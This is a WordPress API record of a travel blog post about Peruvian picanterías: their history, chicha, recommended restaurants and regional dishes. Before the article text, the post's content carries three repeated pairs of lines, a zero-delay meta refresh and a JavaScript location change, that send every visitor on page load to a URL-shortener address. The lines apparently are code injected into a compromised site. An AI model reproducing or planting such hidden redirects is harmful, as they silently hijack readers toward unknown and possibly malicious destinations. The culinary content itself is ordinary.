{"id":12267,"date":"2025-06-26T11:27:58","date_gmt":"2025-06-26T16:27:58","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=12267"},"modified":"2025-06-26T11:28:01","modified_gmt":"2025-06-26T16:28:01","slug":"picanterias-the-soul-of-peruvian-andean-cuisine","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/","title":{"rendered":"Picanter\u00edas: The Soul of Peruvian Andean Cuisine"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>If you&#8217;re planning a trip to Peru, include a visit to a \u201c<em>picanter\u00eda\u201d<\/em>! These charming spots offer one of the most genuine culinary experiences in the Andes. <\/p>\n\n\n\n<p>They are more than just places to eat; they serve as living museums that showcase <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/el-pollo-a-la-brasa-the-star-of-peruvian-cuisine\/\"><strong>Peruvian cuisine&#8217;s<\/strong><\/a> rich flavors, cooking methods, and social customs.<\/p>\n\n\n\n<p>So, you might be wondering, what is a <em>picanter\u00eda<\/em>? Where did it originate? And why should you stop by one during your stay in Peru? <\/p>\n\n\n\n<p>Therefore, get ready to enjoy a delightful journey filled with history, culture, and, of course, amazing Peruvian dishes!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What is a picanter\u00eda?<\/strong><\/h2>\n\n\n\n<p>To begin with, the name &#8220;<em>picanter\u00eda<\/em>&#8221; comes from the Spanish word <em>picante<\/em>, which means spicy. So, a \u201c<em>picanter\u00eda\u201d<\/em> is a warm and inviting restaurant that you can find mainly in the Peruvian Andes. <\/p>\n\n\n\n<p>For example, Andean regions like Arequipa and Cusco are pioneers in Picanterias. However, you can also find them in northern Peru regions such as Lambayeque, Piura, or Trujillo.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"589\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/im_inicio_m.jpg?resize=697%2C589&#038;ssl=1\" alt=\"\" class=\"wp-image-12269\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/im_inicio_m.jpg?w=946&amp;ssl=1 946w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/im_inicio_m.jpg?resize=300%2C254&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/im_inicio_m.jpg?resize=768%2C649&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>These places are well-loved for their hearty, home-cooked meals that burst with bold flavors. For example, on their menus, you&#8217;ll find spicy stews and <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong>chicha de jora<\/strong><\/a>, a delicious fermented corn drink. <\/p>\n\n\n\n<p>Many of their dishes have that exciting, flavorful kick!\u00a0However, a <em>picanter\u00eda<\/em> is much more than just a place to eat\u2014it\u2019s a friendly social hub where locals come together to enjoy meals, share stories, and celebrate traditions. <\/p>\n\n\n\n<p>Also, many picanter\u00edas cook with wood-fired stoves and handmade clay pots. This gives their food a unique, smoky flavor you won&#8217;t find anywhere else.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Origins of Picanter\u00edas<\/strong><\/h2>\n\n\n\n<p>\u00a0Their roots trace back to the <strong>chicher\u00edas<\/strong>\u2014lively taverns on the city\u2019s outskirts that started bubbling up in the mid-16th century in Arequipa. <\/p>\n\n\n\n<p>Back then, chicha was always served with spicy food. As <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish<\/strong><\/a> and indigenous influences blended, the dishes evolved, creating a unique culinary experience that still thrives today. <\/p>\n\n\n\n<p>By 1750, Arequipa was home to nearly 3,000 chicher\u00edas! \u00a0Over time, the best ones transformed into picanter\u00edas\u2014more than just eateries, they became social hubs where people gathered to eat, drink, listen to music, and share stories. <\/p>\n\n\n\n<p>Whether you are a city dweller or a countryside traveler, these spots welcome you with open arms (and hearty dishes).<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Sin-titulo-2-1.jpg?resize=697%2C466&#038;ssl=1\" alt=\"\" class=\"wp-image-12270\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Sin-titulo-2-1.jpg?w=740&amp;ssl=1 740w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Sin-titulo-2-1.jpg?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Sin-titulo-2-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>\u00a0Later, picanter\u00edas extended all over Peru, but they thrived in Andean regions like Cusco. Even today, and just like in the past, a picanteria has a \u201cpicantera\u201d(main chef), a lady who\u2019s in charge of the kitchen and the most expert of all cooks.<\/p>\n\n\n\n<p>\u00a0For example, the \u201cchomba,\u201d a clay-made round recipient where chicha is fermented and served, is even today a fundamental part of modern picanterias. <\/p>\n\n\n\n<p>In addition, the \u201cfogon,\u201d or Andean oven, is where picanteras made the magic. The food cooked in a fogon has another flavor thanks to its cooking method and firewood.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chicha: The Soul of the Picanter\u00eda<\/strong><\/h2>\n\n\n\n<p>No chicher\u00eda or picanter\u00eda would exist without chicha. This iconic drink is the heartbeat of the picanter\u00eda, connecting today\u2019s traditions to the chicher\u00edas of the past. Since the mid-19th century, picanter\u00edas have evolved beyond just chicha and a few side dishes.\u00a0<\/p>\n\n\n\n<p>In <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/arequipa\"><strong>Arequipa<\/strong><\/a>, a traditional picanteria used to start their menu with <strong>&#8220;jayari<\/strong>&#8220;, a mid-morning snack of &#8220;sarza&#8221; (refreshing salad with minced meat) and a sip of chicha.<\/p>\n\n\n\n<p> Therefore, the menu boasts Arequipa\u2019s finest specialties, from rocoto relleno and lech\u00f3n to cuy chactado and ocopa.<\/p>\n\n\n\n<p>On the other hand, in Cusco, the tradition was almost the same. Cusco Picanteras feature more local dishes using local ingredients, such as turnip,<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tarwi-perus-ancient-high-protein-supergrain\/\" title=\"\"> tarwi<\/a><\/strong>, lisas, peas, and fava beans.<\/p>\n\n\n\n<p> Just like in Arequipa, the meals went well with classic drinks like chicha de jora amarilla and frutillada, a drink mixing chicha and strawberry, with a less intense but sweet, refreshing flavor. Both drinks are important in Cusco\u2019s food culture.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>What Makes <\/strong><strong><em>Picanter\u00edas<\/em><\/strong><strong> Special?<\/strong><\/h3>\n\n\n\n<p><em>Picanter\u00edas<\/em> stand out for three key reasons:<\/p>\n\n\n\n<p><strong>Authentic Ingredients<\/strong> \u2013 Their cuisine brings together products from Peru\u2019s coast, highlands, and Amazon, creating unique regional flavors.<\/p>\n\n\n\n<p><strong>Cultural Fusion<\/strong> \u2013 These restaurants showcase a mix of indigenous and Spanish culinary traditions, reflecting Peru\u2019s diverse heritage.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/030203_30343.webp?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-12271\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/030203_30343.webp?w=825&amp;ssl=1 825w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/030203_30343.webp?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/030203_30343.webp?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Cusco in the 20s. Picture taken by <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/martin-chambi-the-iconic-photographer-of-cusco-and-the-andes\/\" title=\"\">Martin Chambi<\/a>.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p><strong>Social Atmosphere<\/strong> \u2013 They are places where everyone, from farmers to city dwellers, gathers to share meals and stories, making them lively and welcoming.<\/p>\n\n\n\n<p>Without <em>picanter\u00edas<\/em>, many of Peru\u2019s most beloved dishes might have been lost. These establishments have kept alive traditional cooking methods and flavors that now attract food lovers from around the world.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Best <\/strong><strong><em>Picanter\u00edas<\/em><\/strong><strong> in Cusco and Beyond<\/strong><\/h2>\n\n\n\n<p>If you\u2019re in Cusco, the heart of the Inca Empire, you\u2019ll find incredible <em>picanter\u00edas<\/em> that serve authentic Andean cuisine. Here are some of the best:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cusco<\/strong><\/h3>\n\n\n\n<p><strong>La Chomba<\/strong> \u2013 A local favorite, famous for its rich stews, vibrant atmosphere, and live traditional music. Their <em>adobo<\/em> and <em>chicharr\u00f3n<\/em> are legendary!<\/p>\n\n\n\n<p><strong>Picanter\u00eda La Cusque\u00f1ita<\/strong> \u2013 A charming spot where you can enjoy classic Peruvian dishes served by waitresses dressed in traditional Andean attire.<\/p>\n\n\n\n<p><strong>Pachapapa<\/strong> \u2013 Located in the picturesque San Blas neighborhood, Pachapapa offers a cozy courtyard setting and a must-try oven-roasted <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\" title=\"\">cuy<\/a><\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Arequipa<\/strong><\/h3>\n\n\n\n<p><strong>La Lucila<\/strong> \u2013 One of the most famous <em>picanter\u00edas<\/em> in Arequipa, serving incredible <em>rocoto relleno<\/em> and <em>chupe de camarones<\/em>.<\/p>\n\n\n\n<p><strong>Sol de Mayo<\/strong> \u2013 A historic restaurant where you can enjoy a traditional Andean feast in a beautiful colonial setting.<\/p>\n\n\n\n<p><strong>La Capitana<\/strong> \u2013 One traditional and delicious restaurant in Arequipa. Don&#8217;t miss the &#8220;dobles&#8221;, &#8220;triples&#8221; or &#8220;americanos&#8221;<\/p>\n\n\n\n<p><strong>La Nueva Palomino<\/strong> \u2013 One of the oldest and perhaps the most traditional picanterias in Arequipa. Locals and foreigners love La Nueva Palomino.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Piura<\/strong><\/h3>\n\n\n\n<p><strong>La Chayo<\/strong> \u2013 Located in Catacaos, this <em>picanter\u00eda<\/em> serves legendary Peruvian coastal dishes with a northern twist.<\/p>\n\n\n\n<p><strong>La Casa del Teniente Gobernador<\/strong> \u2013 A historic eatery where you can taste some of the best traditional flavors of northern Peru.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Must-Try Dishes at a Picanter\u00eda<\/strong><\/h2>\n\n\n\n<p>If you visit a <em>picanter\u00eda<\/em>, prepare for generous portions, bold flavors, and an unforgettable taste of Peruvian history. Here are some must-try <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\" title=\"\">dishes<\/a>:<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Arequipa<\/strong><\/h3>\n\n\n\n<p>&nbsp;<strong>Chupe de Camarones (Shrimp Chowder)<\/strong><\/p>\n\n\n\n<p>A rich, comforting soup made with fresh river shrimp, potatoes, cheese, and corn, originally from Arequipa but loved throughout the Andes.<\/p>\n\n\n\n<p>&nbsp;<strong>Adobo (Marinated Pork Stew)<\/strong><\/p>\n\n\n\n<p>A slow-cooked pork stew marinated in <em>chicha de jora<\/em>, garlic, and Peruvian spices, traditionally served on Sundays, especially as a hangover cure!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805678.jpg?resize=697%2C929&#038;ssl=1\" alt=\"\" class=\"wp-image-12272\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805678.jpg?resize=768%2C1024&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805678.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805678.jpg?resize=1152%2C1536&amp;ssl=1 1152w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805678.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>\u00a0<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rocoto-relleno-perus-sizzling-stuffed-pepper-fiesta\/\" title=\"\">Rocoto Relleno (Stuffed Spicy Pepper)<\/a><\/strong><\/p>\n\n\n\n<p>A fiery Peruvian dish where a <em>rocoto<\/em> pepper is stuffed with minced meat, cheese, and spices, then baked to perfection. Warning: it\u2019s spicier than it looks!<\/p>\n\n\n\n<p><strong>Cuy Chactado (Fried Guinea Pig)<\/strong><\/p>\n\n\n\n<p>A true Andean delicacy! The guinea pig is flattened, marinated, and deep-fried, resulting in crispy skin and tender meat. Often served with potatoes and <em>aj\u00ed<\/em> sauce.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cusco<\/strong><\/h3>\n\n\n\n<p><strong>Costillar Frito<\/strong> <\/p>\n\n\n\n<p>&nbsp;Fried pork ribs, crispy on the outside and tender inside.<\/p>\n\n\n\n<p><strong>Malaya frita<\/strong> \u2013&nbsp;<\/p>\n\n\n\n<p>Fried beef flank, seasoned and crispy, is a popular delicacy.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?resize=697%2C697&#038;ssl=1\" alt=\"\" class=\"wp-image-12273\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?resize=1536%2C1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805666.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Apanado de ubre<\/strong> <\/p>\n\n\n\n<p>&nbsp;Breaded and fried cow udder, known for its soft and creamy texture.<\/p>\n\n\n\n<p><strong>Chicha de Jora<\/strong><\/p>\n\n\n\n<p>This ancient fermented corn drink has been brewed since the time of the Incas. Lightly alcoholic and slightly tangy, it\u2019s the perfect pairing for any traditional dish.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Piura and Chiclayo<\/strong><\/h3>\n\n\n\n<p><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/seco-de-cabrito-a-peruvian-stew-that-won-the-popes-heart\/\" title=\"\">Seco de Cabrito<\/a> a la Norte\u00f1a<\/strong>: This classic northern Peruvian stew features meat, usually goat, lamb, beef, or fish.<\/p>\n\n\n\n<p> It&#8217;s marinated with chicha de jora and spices like cilantro. Served with tamales and boiled yucca, it offers a juicy, flavorful meal.<\/p>\n\n\n\n<p><strong>Pescado Pasadito por Agua<\/strong>: A simple and budget-friendly dish from Piura, this includes fish, often grouper. <\/p>\n\n\n\n<p>Then, the fish is briefly boiled in salted water, and then seasoned with chili, pepper, and oregano. It\u2019s typically served with criolla sauce.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805652.jpg?resize=697%2C929&#038;ssl=1\" alt=\"\" class=\"wp-image-12274\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805652.jpg?resize=768%2C1024&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805652.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805652.jpg?resize=1152%2C1536&amp;ssl=1 1152w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/1738777805652.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Sudado de Cachema<\/strong>: A favorite from northern Peru, this dish stars cachema, a white fish. The fish is marinated with salt, pepper, and chicha de jora. <\/p>\n\n\n\n<p><strong>Majado<\/strong>: A traditional dish from Piura, majado combines boiled yucca with pork cracklings and sometimes fresh cheese. There\u2019s also <em>majado de pl\u00e1tano<\/em>, which uses green plantain instead of yucca.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why You Should Visit a Picanter\u00eda<\/strong><\/h3>\n\n\n\n<p>Dining at a <em>picanter\u00eda<\/em> is more than just eating\u2014it\u2019s a cultural experience that connects you to Peru&#8217;s gastronomic heart. When you visit one, you will:<\/p>\n\n\n\n<p> Taste authentic recipes that have been passed down for generations.&nbsp;<\/p>\n\n\n\n<p> Experience Andean hospitality in a lively, communal setting.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"418\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Las-Picanterias-en-Cusco.jpg?resize=697%2C418&#038;ssl=1\" alt=\"\" class=\"wp-image-12275\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Las-Picanterias-en-Cusco.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Las-Picanterias-en-Cusco.jpg?resize=300%2C180&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Las-Picanterias-en-Cusco.jpg?resize=768%2C461&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>\u00a0 Try unique Andean ingredients like <em>chicha de jora<\/em>,<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-magic-of-huacatay-perus-unique-andean-herb\/\" title=\"\"> <em>huacatay<\/em>,<\/a><\/strong> and <em>rocoto<\/em>.\u00a0<\/p>\n\n\n\n<p> Step back in time as you enjoy food prepared using traditional cooking methods.<\/p>\n\n\n\n<p>If you\u2019re traveling to Cusco or other Andean cities, don\u2019t miss the chance to visit a <em>picanter\u00eda<\/em>. It\u2019s a journey through history, culture, and unforgettable flavors\u2014all on one plate!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Keeping the Picanter\u00eda spirit alive<\/strong><\/h3>\n\n\n\n<p>In conclusion, even today, it\u2019s fundamental to keep the spirit of Peruvian picanter\u00edas alive. While some changes, like moving from wood-fired cooking to gas for health and safety, have been necessary, the main traditions are still strong.<\/p>\n\n\n\n<p>Picanterias and picanteras are guardians of Peru\u2019s vast and ancient culinary traditions. Now that you know all about <em>picanter\u00edas<\/em>, which dish would you try first? <\/p>\n\n\n\n<p>Finally,  if you\u2019re planning a trip to Cusco, Arequipa, or another destination in Peru, <strong>Viagens Machu Picchu<\/strong> can help you with that.<\/p>\n\n\n\n<p>So, feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact<\/a> <\/strong>our specialists to learn more about our packages, tours, and special deals. Don\u2019t wait too long, Peru and its incredible gastronomy await!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Discover Peru\u2019s picanter\u00edas\u2014traditional Andean eateries where authentic cuisine meets rich history and vibrant culture. Savor bold flavors of rocoto relleno and chicha de jora, and immerse in a culinary journey celebrating centuries-old traditions.!!<\/p>\n","protected":false},"author":1,"featured_media":12268,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[202,1517,206,1833,3495,1],"tags":[1982,225,2922,949,4575,4110,4112,2984,208,2921,3282,2901,246,1231,4574,4571,4573,4572],"class_list":["post-12267","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arequipa","category-culture","category-cusco","category-documentary","category-peruvian-flavors","category-sem-categoria","tag-andes","tag-arequipa","tag-authentic","tag-chicha","tag-chicherias","tag-cuisine","tag-culinary","tag-culture","tag-cusco","tag-flavors","tag-history","tag-ingredients","tag-peru","tag-peruvian","tag-picantera","tag-picanteria","tag-social","tag-traditional"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/im_pintura_m.jpg?fit=1000%2C552&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3bR","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=12267"}],"version-history":[{"count":6,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12267\/revisions"}],"predecessor-version":[{"id":16557,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12267\/revisions\/16557"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/12268"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=12267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=12267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=12267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}